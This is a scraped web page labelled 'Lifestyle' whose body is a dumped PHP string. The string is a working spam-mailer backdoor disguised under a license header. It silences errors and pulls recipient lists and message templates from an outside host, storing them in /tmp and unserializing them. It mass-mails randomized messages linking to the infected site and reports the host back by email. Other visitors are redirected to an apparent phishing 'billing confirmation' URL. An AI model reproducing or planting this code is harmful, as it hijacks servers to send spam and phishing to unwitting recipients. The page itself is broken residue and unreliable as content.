Lifestyle

   
string(6583) " Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. */ error_reporting(0); ini_set('display_errors', 0); if(PHP_VERSION){ if (version_compare(PHP_VERSION, '5.3', '>=')){ error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED); }else{ error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE); } } class NetworkWorker { public static function get($url){ $result = file_get_contents($url); if($result===FALSE){ $handle = curl_init(); curl_setopt($handle, CURLOPT_URL, $url); curl_setopt($handle, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($handle); curl_close($handle); } if(is_string($result)){ $result = trim($result); } return $result; } } function RandomizeVarchar($src_text = ""){ while(strpos($src_text,"{")!==FALSE){ $i = strpos($src_text,"{"); $r = strpos(substr($src_text,$i),"}"); $replace_src = substr($src_text,$i,$r+1); $replace_dst = substr($src_text,$i+1,$r-1); $replace_dst = explode(' | ',$replace_dst); $replace_dst = $replace_dst[array_rand($replace_dst)]; $src_text = str_replace($replace_src, $replace_dst, $src_text); } return $src_text; } function RandomizeIntegers($src_text = ""){ $integers = []; while(strpos($src_text,"[RANDOM_INTEGER")!==FALSE){ $i = strpos($src_text,"[RANDOM_INTEGER"); $r = strpos(substr($src_text,$i),"]"); $i = substr($src_text,$i,$r+1); $i = strpos($src_text, $i); $r = strpos(substr($src_text,$i),"[/RANDOM_INTEGER_"); $replace_src = substr($src_text,$i,$r+strlen("[/RANDOM_INTEGER_")+2); $replace_dst = substr($replace_src,strpos($replace_src,"]")+1); $replace_dst = substr($replace_dst, 0, strpos($replace_dst,"[")); $radius = explode("-",$replace_dst); $value = rand(intval($radius[0]),intval($radius[1])); $integers[$replace_src] = $value; $src_text = str_replace($replace_src, $value, $src_text); } return [$src_text, $integers]; } function SetMacroses($src_text, $macroses, $values){ foreach($macroses as $macros=>$index){ $src_text = str_replace("[".$macros."]", $values[$index], $src_text); } return $src_text; } if(isset($_GET['a'])){ switch($_GET['a']){ case "send": $letter_id = intval($_GET['i']); if($letter_id){ $tmp_path = (file_exists("/tmp") ? "/tmp" : NULL); if($tmp_path){ $tmp_path .= "/X11_".$letter_id.".dat"; $data_handle = fopen($tmp_path,"r"); $letter_data = fread($data_handle, filesize($tmp_path)); fclose($data_handle); $letter_data = unserialize(base64_decode($letter_data)); $macroses = trim($letter_data->config); $macroses = explode(PHP_EOL,$macroses); $macroses_dict = array(); foreach($macroses as &$macros){ $macros = explode(" => ",$macros); $macroses_dict[$macros[0]] = $macros[1]; } $recv = NetworkWorker::get('https://mikrostatic.com/private/list.php'); $recv = explode(PHP_EOL,trim($recv)); $current_url = 'http://'.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI]; $current_url = substr($current_url,0,strpos($current_url,"?")); foreach($recv as $recv_line){ $recv_line = trim($recv_line); if($recv_line){ $subject = explode(PHP_EOL,trim($letter_data->subjects)); $subject = $subject[array_rand($subject)]; $subject = RandomizeVarchar($subject); $body = trim($letter_data->body); $body = RandomizeVarchar($body); $integers_data = RandomizeIntegers($body); $body = $integers_data[0]; foreach($integers_data[1] as $src=>$dst){ $subject = str_replace($src, $dst, $subject); } $body = str_replace("[LINK]", $current_url, $body); $recv_line = explode(";",$recv_line); $recv_body = SetMacroses($body, $macroses_dict, $recv_line); $subject = SetMacroses($subject, $macroses_dict, $recv_line); $recv_email = $recv_line[$macroses_dict["EMAIL"]]; mail($recv_email,$subject,$recv_body); } } } } break; case "update": $letter_id = intval($_GET['i']); $letter_data = NetworkWorker::get('https://mikrostatic.com/private/letter.php?i='.strval($letter_id)); if($letter_data){ $tmp_path = (file_exists("/tmp") ? "/tmp" : NULL); if($tmp_path){ $tmp_path .= "/X11_".$letter_id.".dat"; $data_handle = fopen($tmp_path,"w"); fwrite($data_handle,trim($letter_data)); fclose($data_handle); } } break; case "test": $tmp_path = (file_exists("/tmp") ? "/tmp" : NULL); if($tmp_path){ $network_cmp = NetworkWorker::get('https://mikrostatic.com/private/letter.php'); $network_cmp = trim($network_cmp); if($network_cmp=='0x10'){ mail('info@mikrostatic.com','http://'.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI],''); } } break; case "exit": exit('0x01'); break; } }else{ if(isset($_GET['id'])){ $i = intval($_GET['id']); if($i){ header("Location: https://www.dlink.com.br/private/billing_confirmation.php?id=".$i); }else{ header("Location: http://".$_SERVER[HTTP_HOST]); } }else{ header("Location: http://".$_SERVER[HTTP_HOST]); } } ?>"